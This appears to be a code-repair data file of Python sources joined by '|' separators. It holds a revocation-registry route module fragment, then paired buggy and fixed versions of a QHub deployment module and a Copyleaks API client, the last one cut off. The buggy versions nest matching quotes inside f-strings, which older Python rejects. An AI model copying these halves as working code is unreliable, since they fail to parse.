tag for tag in vars(RevRegsCreatedQueryStringSchema)["_declared_fields"]
]
tag_filter = {
tag: request.query[tag] for tag in search_tags if tag in request.query
}
found = await IssuerRevRegRecord.query(context, tag_filter)
return web.json_response({"rev_reg_ids": [record.revoc_reg_id for record in found]})
@docs(
tags=["revocation"], summary="Get revocation registry by revocation registry id",
)
@match_info_schema(RevRegIdMatchInfoSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def get_registry(request: web.BaseRequest):
"""
Request handler to get a revocation registry by identifier.
Args:
request: aiohttp request object
Returns:
The revocation registry
"""
context = request.app["request_context"]
registry_id = request.match_info["rev_reg_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_issuer_rev_reg_record(registry_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
return web.json_response({"result": revoc_registry.serialize()})
@docs(
tags=["revocation"],
summary="Get an active revocation registry by credential definition id",
)
@match_info_schema(CredDefIdMatchInfoSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def get_active_registry(request: web.BaseRequest):
"""
Request handler to get an active revocation registry by cred def id.
Args:
request: aiohttp request object
Returns:
The revocation registry identifier
"""
context = request.app["request_context"]
cred_def_id = request.match_info["cred_def_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_active_issuer_rev_reg_record(cred_def_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
return web.json_response({"result": revoc_registry.serialize()})
@docs(
tags=["revocation"],
summary="Download the tails file of revocation registry",
produces="application/octet-stream",
responses={200: {"description": "tails file"}},
)
@match_info_schema(RevRegIdMatchInfoSchema())
async def get_tails_file(request: web.BaseRequest) -> web.FileResponse:
"""
Request handler to download the tails file of the revocation registry.
Args:
request: aiohttp request object
Returns:
The tails file in FileResponse
"""
context = request.app["request_context"]
registry_id = request.match_info["rev_reg_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_issuer_rev_reg_record(registry_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
return web.FileResponse(path=revoc_registry.tails_local_path, status=200)
@docs(
tags=["revocation"], summary="Publish a given revocation registry",
)
@match_info_schema(RevRegIdMatchInfoSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def publish_registry(request: web.BaseRequest):
"""
Request handler to publish a revocation registry based on the registry id.
Args:
request: aiohttp request object
Returns:
The revocation registry record
"""
context = request.app["request_context"]
registry_id = request.match_info["rev_reg_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_issuer_rev_reg_record(registry_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
await revoc_registry.publish_registry_definition(context)
LOGGER.debug("published registry definition: %s", registry_id)
await revoc_registry.publish_registry_entry(context)
LOGGER.debug("published registry entry: %s", registry_id)
return web.json_response({"result": revoc_registry.serialize()})
@docs(
tags=["revocation"],
summary="Update revocation registry with new public URI to the tails file.",
)
@match_info_schema(RevRegIdMatchInfoSchema())
@request_schema(RevRegUpdateTailsFileUriSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def update_registry(request: web.BaseRequest):
"""
Request handler to update a revocation registry based on the registry id.
Args:
request: aiohttp request object
Returns:
The revocation registry record
"""
context = request.app["request_context"]
body = await request.json()
tails_public_uri = body.get("tails_public_uri")
registry_id = request.match_info["rev_reg_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_issuer_rev_reg_record(registry_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
await revoc_registry.set_tails_file_public_uri(context, tails_public_uri)
return web.json_response({"result": revoc_registry.serialize()})
async def register(app: web.Application):
"""Register routes."""
app.add_routes(
[
web.post("/revocation/create-registry", revocation_create_registry),
web.get(
"/revocation/registries/created",
revocation_registries_created,
allow_head=False,
),
web.get(
"/revocation/registry/{rev_reg_id}", get_registry, allow_head=False
),
web.get(
"/revocation/active-registry/{cred_def_id}",
get_active_registry,
allow_head=False,
),
web.get(
"/revocation/registry/{rev_reg_id}/tails-file",
get_tails_file,
allow_head=False,
),
web.patch("/revocation/registry/{rev_reg_id}", update_registry),
web.post("/revocation/registry/{rev_reg_id}/publish", publish_registry),
]
)
|
import logging
import os
import re
from subprocess import CalledProcessError
from qhub.provider import terraform
from qhub.utils import timer, check_cloud_credentials
from qhub.provider.dns.cloudflare import update_record
from qhub.state import terraform_state_sync
logger = logging.getLogger(__name__)
def deploy_configuration(
config,
dns_provider,
dns_auto_provision,
disable_prompt,
skip_remote_state_provision,
):
logger.info(f'All qhub endpoints will be under https://{config['domain']}')
with timer(logger, "deploying QHub"):
try:
guided_install(
config,
dns_provider,
dns_auto_provision,
disable_prompt,
skip_remote_state_provision,
)
except CalledProcessError as e:
logger.error(e.output)
raise e
def guided_install(
config,
dns_provider,
dns_auto_provision,
disable_prompt=False,
skip_remote_state_provision=False,
):
# 01 Check Environment Variables
check_cloud_credentials(config)
# Check that secrets required for terraform
# variables are set as required
check_secrets(config)
# 02 Create terraform backend remote state bucket
# backwards compatible with `qhub-config.yaml` which
# don't have `terraform_state` key
if (
(not skip_remote_state_provision)
and (config.get("terraform_state", {}).get("type", "") == "remote")
and (config.get("provider") != "local")
):
terraform_state_sync(config)
# 3 kubernetes-alpha provider requires that kubernetes be
# provisionioned before any "kubernetes_manifests" resources
terraform.init(directory="infrastructure")
terraform.apply(
directory="infrastructure",
targets=[
"module.kubernetes",
"module.kubernetes-initialization",
],
)
# 04 Create qhub initial state (up to nginx-ingress)
terraform.init(directory="infrastructure")
terraform.apply(
directory="infrastructure",
targets=[
"module.kubernetes",
"module.kubernetes-initialization",
"module.kubernetes-ingress",
],
)
cmd_output = terraform.output(directory="infrastructure")
# This is a bit ugly, but the issue we have at the moment is being unable
# to parse cmd_output as json on Github Actions.
ip_matches = re.findall(r'"ip": "(?!string)(.+)"', cmd_output)
hostname_matches = re.findall(r'"hostname": "(?!string)(.+)"', cmd_output)
if ip_matches:
ip_or_hostname = ip_matches[0]
elif hostname_matches:
ip_or_hostname = hostname_matches[0]
else:
raise ValueError(f"IP Address not found in: {cmd_output}")
# 05 Update DNS to point to qhub deployment
if dns_auto_provision and dns_provider == "cloudflare":
record_name, zone_name = (
config["domain"].split(".")[:-2],
config["domain"].split(".")[-2:],
)
record_name = ".".join(record_name)
zone_name = ".".join(zone_name)
if config["provider"] in {"do", "gcp", "azure"}:
update_record(zone_name, record_name, "A", ip_or_hostname)
if config.get("clearml", {}).get("enabled"):
add_clearml_dns(zone_name, record_name, "A", ip_or_hostname)
elif config["provider"] == "aws":
update_record(zone_name, record_name, "CNAME", ip_or_hostname)
if config.get("clearml", {}).get("enabled"):
add_clearml_dns(zone_name, record_name, "CNAME", ip_or_hostname)
else:
logger.info(
f"Couldn't update the DNS record for cloud provider: {config["provider"]}"
)
elif not disable_prompt:
input(
f"Take IP Address {ip_or_hostname} and update DNS to point to "
f'"{config['domain']}" [Press Enter when Complete]'
)
# 06 Full deploy QHub
terraform.apply(directory="infrastructure")
def add_clearml_dns(zone_name, record_name, record_type, ip_or_hostname):
logger.info(f"Setting DNS record for ClearML for record: {record_name}")
dns_records = [
f"app.clearml.{record_name}",
f"api.clearml.{record_name}",
f"files.clearml.{record_name}",
]
for dns_record in dns_records:
update_record(zone_name, dns_record, record_type, ip_or_hostname)
def check_secrets(config):
"""
Checks that the appropriate variables are set based on the current config.
These variables are prefixed with TF_VAR_ and are used to populate the
corresponding variables in the terraform deployment. e.g.
TF_VAR_prefect_token sets the prefect_token variable in Terraform. These
values are set in the terraform state but are not leaked when the
terraform render occurs.
"""
missing_env_vars = []
# Check prefect integration set up.
if "prefect" in config and config["prefect"]["enabled"]:
var = "TF_VAR_prefect_token"
if var not in os.environ:
missing_env_vars.append(var)
if missing_env_vars:
raise EnvironmentError(
"Some environment variables used to propagate secrets to the "
"terraform deployment were not set. Please set these before "
f"continuing: {", ".join(missing_env_vars)}"
)
| import logging
import os
import re
from subprocess import CalledProcessError
from qhub.provider import terraform
from qhub.utils import timer, check_cloud_credentials
from qhub.provider.dns.cloudflare import update_record
from qhub.state import terraform_state_sync
logger = logging.getLogger(__name__)
def deploy_configuration(
config,
dns_provider,
dns_auto_provision,
disable_prompt,
skip_remote_state_provision,
):
logger.info(f'All qhub endpoints will be under https://{config["domain"]}')
with timer(logger, "deploying QHub"):
try:
guided_install(
config,
dns_provider,
dns_auto_provision,
disable_prompt,
skip_remote_state_provision,
)
except CalledProcessError as e:
logger.error(e.output)
raise e
def guided_install(
config,
dns_provider,
dns_auto_provision,
disable_prompt=False,
skip_remote_state_provision=False,
):
# 01 Check Environment Variables
check_cloud_credentials(config)
# Check that secrets required for terraform
# variables are set as required
check_secrets(config)
# 02 Create terraform backend remote state bucket
# backwards compatible with `qhub-config.yaml` which
# don't have `terraform_state` key
if (
(not skip_remote_state_provision)
and (config.get("terraform_state", {}).get("type", "") == "remote")
and (config.get("provider") != "local")
):
terraform_state_sync(config)
# 3 kubernetes-alpha provider requires that kubernetes be
# provisionioned before any "kubernetes_manifests" resources
terraform.init(directory="infrastructure")
terraform.apply(
directory="infrastructure",
targets=[
"module.kubernetes",
"module.kubernetes-initialization",
],
)
# 04 Create qhub initial state (up to nginx-ingress)
terraform.init(directory="infrastructure")
terraform.apply(
directory="infrastructure",
targets=[
"module.kubernetes",
"module.kubernetes-initialization",
"module.kubernetes-ingress",
],
)
cmd_output = terraform.output(directory="infrastructure")
# This is a bit ugly, but the issue we have at the moment is being unable
# to parse cmd_output as json on Github Actions.
ip_matches = re.findall(r'"ip": "(?!string)(.+)"', cmd_output)
hostname_matches = re.findall(r'"hostname": "(?!string)(.+)"', cmd_output)
if ip_matches:
ip_or_hostname = ip_matches[0]
elif hostname_matches:
ip_or_hostname = hostname_matches[0]
else:
raise ValueError(f"IP Address not found in: {cmd_output}")
# 05 Update DNS to point to qhub deployment
if dns_auto_provision and dns_provider == "cloudflare":
record_name, zone_name = (
config["domain"].split(".")[:-2],
config["domain"].split(".")[-2:],
)
record_name = ".".join(record_name)
zone_name = ".".join(zone_name)
if config["provider"] in {"do", "gcp", "azure"}:
update_record(zone_name, record_name, "A", ip_or_hostname)
if config.get("clearml", {}).get("enabled"):
add_clearml_dns(zone_name, record_name, "A", ip_or_hostname)
elif config["provider"] == "aws":
update_record(zone_name, record_name, "CNAME", ip_or_hostname)
if config.get("clearml", {}).get("enabled"):
add_clearml_dns(zone_name, record_name, "CNAME", ip_or_hostname)
else:
logger.info(
f"Couldn't update the DNS record for cloud provider: {config['provider']}"
)
elif not disable_prompt:
input(
f"Take IP Address {ip_or_hostname} and update DNS to point to "
f'"{config["domain"]}" [Press Enter when Complete]'
)
# 06 Full deploy QHub
terraform.apply(directory="infrastructure")
def add_clearml_dns(zone_name, record_name, record_type, ip_or_hostname):
logger.info(f"Setting DNS record for ClearML for record: {record_name}")
dns_records = [
f"app.clearml.{record_name}",
f"api.clearml.{record_name}",
f"files.clearml.{record_name}",
]
for dns_record in dns_records:
update_record(zone_name, dns_record, record_type, ip_or_hostname)
def check_secrets(config):
"""
Checks that the appropriate variables are set based on the current config.
These variables are prefixed with TF_VAR_ and are used to populate the
corresponding variables in the terraform deployment. e.g.
TF_VAR_prefect_token sets the prefect_token variable in Terraform. These
values are set in the terraform state but are not leaked when the
terraform render occurs.
"""
missing_env_vars = []
# Check prefect integration set up.
if "prefect" in config and config["prefect"]["enabled"]:
var = "TF_VAR_prefect_token"
if var not in os.environ:
missing_env_vars.append(var)
if missing_env_vars:
raise EnvironmentError(
"Some environment variables used to propagate secrets to the "
"terraform deployment were not set. Please set these before "
f"continuing: {', '.join(missing_env_vars)}"
)
|
from copyleaks.consts import Consts
import requests
'''
The MIT License(MIT)
Copyright(c) 2016 Copyleaks LTD (https://copyleaks.com)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
'''
import json
from datetime import datetime, timedelta
import dateutil.parser
import pytz
from copyleaks.exceptions.command_error import CommandError
from copyleaks.exceptions.under_maintenance_error import UnderMaintenanceError
from copyleaks.exceptions.rate_limit_error import RateLimitError
from copyleaks.exceptions.auth_expired_error import AuthExipredError
from enum import Enum
class Products:
BUSINESSES = 'businesses'
EDUCATION = 'education'
class Copyleaks(object):
@staticmethod
def login(email, key):
'''
Login to Copyleaks authentication server.
For more info: https://api.copyleaks.com/documentation/v3/account/login
Parameters:
email: string. Copyleaks account email address.
key: string. Copyleaks account secret key.
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
A authentication token that being expired after certain amount of time.
'''
assert email and key
url = f"{Consts.IDENTITY_SERVER_URI}/v3/account/login/api"
payload = {
'email': email,
'key': key
}
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT
}
response = requests.post(url, headers=headers, data=json.dumps(payload))
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def verify_auth_token(auth_token):
'''
Verify that Copyleaks authentication token is exists and not expired.
Parameters:
auth_token: Copyleaks authentication token
Raises:
`AuthExipredError`: authentication expired. Need to login again.
'''
assert auth_token and auth_token['.expires'] and auth_token['access_token']
now = pytz.UTC.localize(datetime.utcnow() + timedelta(0, 5 * 60)) # adds 5 minutes ahead for a safety shield.
upTo = dateutil.parser.parse(auth_token['.expires'])
if upTo <= now:
raise AuthExipredError() # expired
@staticmethod
def __submit(url, auth_token, scan_id, submission):
assert url and scan_id and submission
Copyleaks.verify_auth_token(auth_token)
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token["access_token"]}"
}
response = requests.put(url, headers=headers, data=submission.toJSON())
if response.ok:
return # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def submit_file(product, auth_token, scan_id, submission):
'''
Starting a new process by providing a file to scan.
For more info:
https://api.copyleaks.com/documentation/v3/education/submit/file
https://api.copyleaks.com/documentation/v3/businesses/submit/file
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product
url = f"{Consts.API_SERVER_URI}/v3/{product}/submit/file/{scan_id}"
Copyleaks.__submit(url, auth_token, scan_id, submission)
@staticmethod
def submit_file_ocr(product, auth_token, scan_id, submission):
'''
Starting a new process by providing a OCR image file to scan.
For more info:
https://api.copyleaks.com/documentation/v3/education/submit/ocr
https://api.copyleaks.com/documentation/v3/businesses/submit/ocr
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product
url = f"{Consts.API_SERVER_URI}/v3/{product}/submit/file/ocr/{scan_id}"
Copyleaks.__submit(url, auth_token, scan_id, submission)
@staticmethod
def submit_url(product, auth_token, scan_id, submission):
'''
Starting a new process by providing a URL to scan.
For more info:
https://api.copyleaks.com/documentation/v3/education/submit/url
https://api.copyleaks.com/documentation/v3/businesses/submit/url
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product
url = f"{Consts.API_SERVER_URI}/v3/{product}/submit/url/{scan_id}"
Copyleaks.__submit(url, auth_token, scan_id, submission)
@staticmethod
def export(auth_token, scan_id, export_id, model):
'''
Exporting scans artifact into your server.
For more info:
https://api.copyleaks.com/documentation/v3/downloads/export
Parameters:
auth_token: Your login token to Copyleaks server.
scan_id: String. The scan ID of the specific scan to export.
export_id: String. A new Id for the export process.
model: `Export`. Request of which artifact should be exported.
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert scan_id and export_id and model
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/downloads/{scan_id}/export/{export_id}"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token["access_token"]}"
}
response = requests.post(url, headers=headers, data=model.toJSON())
if response.ok:
return # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def start(product, auth_token, model):
'''
Start scanning all the files you submitted for a price-check.
For more info:
https://api.copyleaks.com/documentation/v3/education/start
https://api.copyleaks.com/documentation/v3/businesses/start
Parameters:
product: `Products`. Which product (education or business) is being use.
auth_token: Your login token to Copyleaks server.
model: `Start` object. Include information about which scans should be started.
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
Server response including success/failed info.
'''
assert product and model
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/{product}/start"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token["access_token"]}"
}
response = requests.patch(url, headers=headers, data=model.toJSON())
if response.ok:
return response.json() # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def delete(product, auth_token, delete_model):
'''
Delete the specific process from the server.
For more info:
https://api.copyleaks.com/documentation/v3/education/delete
https://api.copyleaks.com/documentation/v3/businesses/delete
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product and delete_model
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3.1/{product}/delete"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token["access_token"]}"
}
response = requests.patch(url, headers=headers, data=delete_model.toJSON())
if response.ok:
return # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def resend_webhook(product, auth_token, scan_id):
'''
Resend status webhooks for existing scans.
For more info:
https://api.copyleaks.com/documentation/v3/education/webhook-resend
https://api.copyleaks.com/documentation/v3/businesses/webhook-resend
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product and scan_id
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/{product}/scans/{scan_id}/webhooks/resend"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token["access_token"]}"
}
response = requests.post(url, headers=headers)
if response.ok:
return # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def credits_balance(product, auth_token):
'''
Get current credits balance for the Copyleaks account
For more info:
https://api.copyleaks.com/documentation/v3/education/credits
https://api.copyleaks.com/documentation/v3/businesses/credits
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
`RateLimitError`: Too many requests. Please wait before calling again.
Returns:
Number of remaining credits on the account.
'''
assert product
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/{product}/credits"
headers = {
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token["access_token"]}"
}
response = requests.get(url, headers=headers)
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
elif response.status_code == 429:
raise RateLimitError()
else:
raise CommandError(response)
@staticmethod
def usages_history_csv(product, auth_token, start_date, end_date):
'''
This endpoint allows you to export your usage history between two dates.
The output results will be exported to a csv file and it will be attached to the response.
For more info:
https://api.copyleaks.com/documentation/v3/education/usages/history
https://api.copyleaks.com/documentation/v3/businesses/usages/history
Parameters:
product: `Products`. Which product (education or business) is being use.
auth_token: Your login token to Copyleaks server.
start_date: String. The start date to collect usage history from. Date Format: `dd-MM-yyyy`
end_date: String. The end date to collect usage history from. Date Format: `dd-MM-yyyy`
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
`RateLimitError`: Too many requests. Please wait before calling again.
Returns:
Server response including success/failed info.
'''
assert product and start_date and end_date
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/{product}/usages/history?start={start_date}&end={end_date}"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token["access_token"]}"
}
response = requests.get(url, headers=headers)
if response.ok:
return response.content # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
elif response.status_code == 429:
raise RateLimitError()
else:
raise CommandError(response)
@staticmethod
def release_notes():
'''
Get updates about copyleaks api release notes
For more info: https://api.copyleaks.com/documentation/v3/release-notes
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
List of release notes.
'''
url = f"{Consts.API_SERVER_URI}/v3/release-logs.json"
headers = {
'User-Agent': Consts.USER_AGENT
}
response = requests.get(url, headers=headers)
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def supported_file_types():
'''
Get a list of the supported file types.
For more info: https://api.copyleaks.com/documentation/v3/specifications/supported-file-types
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
List of supported file types.
'''
url = f"{Consts.API_SERVER_URI}/v3/miscellaneous/supported-file-types"
headers = {
'User-Agent': Consts.USER_AGENT
}
response = requests.get(url, headers=headers)
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def ocr_supported_langauges():
'''
Get a list of the supported languages for OCR (this is not a list of supported languages for the api, but only for the OCR files scan).
For more info: https://api.copyleaks.com/documentation/v3/specifications/ocr-languages/list
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
List of supported OCR languages.
'''
url = f"{Consts.API_SERVER_URI}/v3/miscellaneous/ocr-languages-list"
headers = {
'User-Agent': Consts.USER_AGENT
}
response = requests.get(url, headers=headers)
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
| from copyleaks.consts import Consts
import requests
'''
The MIT License(MIT)
Copyright(c) 2016 Copyleaks LTD (https://copyleaks.com)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
'''
import json
from datetime import datetime, timedelta
import dateutil.parser
import pytz
from copyleaks.exceptions.command_error import CommandError
from copyleaks.exceptions.under_maintenance_error import UnderMaintenanceError
from copyleaks.exceptions.rate_limit_error import RateLimitError
from copyleaks.exceptions.auth_expired_error import AuthExipredError
from enum import Enum
class Products:
BUSINESSES = 'businesses'
EDUCATION = 'education'
class Copyleaks(object):
@staticmethod
def login(email, key):
'''
Login to Copyleaks authentication server.
For more info: https://api.copyleaks.com/documentation/v3/account/login
Parameters:
email: string. Copyleaks account email address.
key: string. Copyleaks account secret key.
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
A authentication token that being expired after certain amount of time.
'''
assert email and key
url = f"{Consts.IDENTITY_SERVER_URI}/v3/account/login/api"
payload = {
'email': email,
'key': key
}
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT
}
response = requests.post(url, headers=headers, data=json.dumps(payload))
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def verify_auth_token(auth_token):
'''
Verify that Copyleaks authentication token is exists and not expired.
Parameters:
auth_token: Copyleaks authentication token
Raises:
`AuthExipredError`: authentication expired. Need to login again.
'''
assert auth_token and auth_token['.expires'] and auth_token['access_token']
now = pytz.UTC.localize(datetime.utcnow() + timedelta(0, 5 * 60)) # adds 5 minutes ahead for a safety shield.
upTo = dateutil.parser.parse(auth_token['.expires'])
if upTo <= now:
raise AuthExipredError() # expired
@staticmethod
def __submit(url, auth_token, scan_id, submission):
assert url and scan_id and submission
Copyleaks.verify_auth_token(auth_token)
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token['access_token']}"
}
response = requests.put(url, headers=headers, data=submission.toJSON())
if response.ok:
return # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def submit_file(product, auth_token, scan_id, submission):
'''
Starting a new process by providing a file to scan.
For more info:
https://api.copyleaks.com/documentation/v3/education/submit/file
https://api.copyleaks.com/documentation/v3/businesses/submit/file
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product
url = f"{Consts.API_SERVER_URI}/v3/{product}/submit/file/{scan_id}"
Copyleaks.__submit(url, auth_token, scan_id, submission)
@staticmethod
def submit_file_ocr(product, auth_token, scan_id, submission):
'''
Starting a new process by providing a OCR image file to scan.
For more info:
https://api.copyleaks.com/documentation/v3/education/submit/ocr
https://api.copyleaks.com/documentation/v3/businesses/submit/ocr
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product
url = f"{Consts.API_SERVER_URI}/v3/{product}/submit/file/ocr/{scan_id}"
Copyleaks.__submit(url, auth_token, scan_id, submission)
@staticmethod
def submit_url(product, auth_token, scan_id, submission):
'''
Starting a new process by providing a URL to scan.
For more info:
https://api.copyleaks.com/documentation/v3/education/submit/url
https://api.copyleaks.com/documentation/v3/businesses/submit/url
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product
url = f"{Consts.API_SERVER_URI}/v3/{product}/submit/url/{scan_id}"
Copyleaks.__submit(url, auth_token, scan_id, submission)
@staticmethod
def export(auth_token, scan_id, export_id, model):
'''
Exporting scans artifact into your server.
For more info:
https://api.copyleaks.com/documentation/v3/downloads/export
Parameters:
auth_token: Your login token to Copyleaks server.
scan_id: String. The scan ID of the specific scan to export.
export_id: String. A new Id for the export process.
model: `Export`. Request of which artifact should be exported.
Raises:
